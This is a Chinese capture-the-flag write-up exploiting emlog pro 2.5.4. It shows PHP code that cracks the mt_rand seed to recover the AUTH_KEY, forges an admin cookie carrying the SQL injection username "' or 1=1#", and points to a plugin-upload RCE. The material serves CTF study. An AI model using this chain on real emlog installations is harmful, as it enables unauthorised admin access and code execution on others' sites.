挺有意思的一道题,看了官方wp才发现其实不难,但做的时候完全想不到,很巧妙的漏洞结合

提示:

  • install.php
  • mt_rand的安全问题

下载最新版本安装包:https://gitee.com/snowsun/emlog/releases/download/pro-2.5.4/emlog_pro_2.5.4.zip

mt_rand伪随机数

在给出第二个提示的时候才反应过来是伪随机数的问题,根据mt_rand定位到include/lib/common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}

看到install.php中调用getRandStr的地方:

在同一个进程中只有第一次调用mt_rand()会自动播种,接下来都会根据这个第一次播种的种子来生成随机数
所以说我们可以通过 AUTH_COOKIE_NAME 的值爆破种子,从而得到AUTH_KEY

AUTH_COOKIE_NAME 怎么获取呢,全局查找一下

/admin/account.php?action=logout

得到RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr,然后逆推mt_rand的值

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len = strlen($allowable_characters) - 1;
$pass = "RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr";

for ($i = 0; $i < strlen($pass); $i++) {
echo "0 0 0 0 ";
}
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}

生成符合爆破规则的字符串,把前面32位未知的值写为0 0 0 0,运行得到:

1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61

使用工具:php_mt_seed 进行爆破

得到种子2430606281

再根据安装时给出的UA头:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}
mt_srand(2430606281);

echo(getRandStr(32)."\n");
echo(getRandStr(32,false)."\n");
//RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr

echo "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA".md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");

得到AUTH_KEY:yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02

SQL注入

AUTH_KEY有什么用呢?可以伪造登录

在登录成功后会调用LoginAuth::setAuthCookie设置Cookie,第一个参数为用户名

看到include/lib/loginauth.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static function setAuthCookie($user_login, $persist = false)
{
if ($persist) {
$expiration = time() + 3600 * 24 * 30 * 12;
} else {
$expiration = 0;
}
$auth_cookie_name = AUTH_COOKIE_NAME;
$auth_cookie = self::generateAuthCookie($user_login, $expiration);
setcookie($auth_cookie_name, $auth_cookie, $expiration, '/', '', false, true);
}

private static function generateAuthCookie($user_login, $expiration)
{
$key = self::emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

private static function emHash($data)
{
return hash_hmac('md5', $data, AUTH_KEY);
}

是一个md5单向加密,假如我们知道用户名,那么就可以伪造cookie实现登录了

后面我就卡主不会做了(找不到用户名)

其实细心一点是可以发现的,在 validateAuthCookie 函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static function validateAuthCookie($cookie = '')
{
if (empty($cookie)) {
return false;
}

$cookie_elements = explode('|', $cookie);
if (count($cookie_elements) !== 3) {
return false;
}

list($username, $expiration, $hmac) = $cookie_elements;

if (!empty($expiration) && $expiration < time()) {
return false;
}

$key = self::emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ($hmac !== $hash) {
return false;
}

$user = self::getUserDataByLogin($username);
if (!$user) {
return false;
}
return $user;
}

调用了getUserDataByLogin函数验证用户名是否存在

很明显是一个拼接字符串的操作,存在sql注入

直接生成万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function generateAuthCookie($user_login, $expiration)
{
$key = emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

function emHash($data)
{
return hash_hmac('md5', $data, "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02");
}
var_dump(generateAuthCookie("' or 1=1#", 0));

成功进入后台

后台插件RCE

在多年前emlog就存在后台插件RCE了,但官方不认为这是漏洞,一直没修

网上随便找一下插件:https://github.com/topics/emlog-plugin

安装,访问plugins目录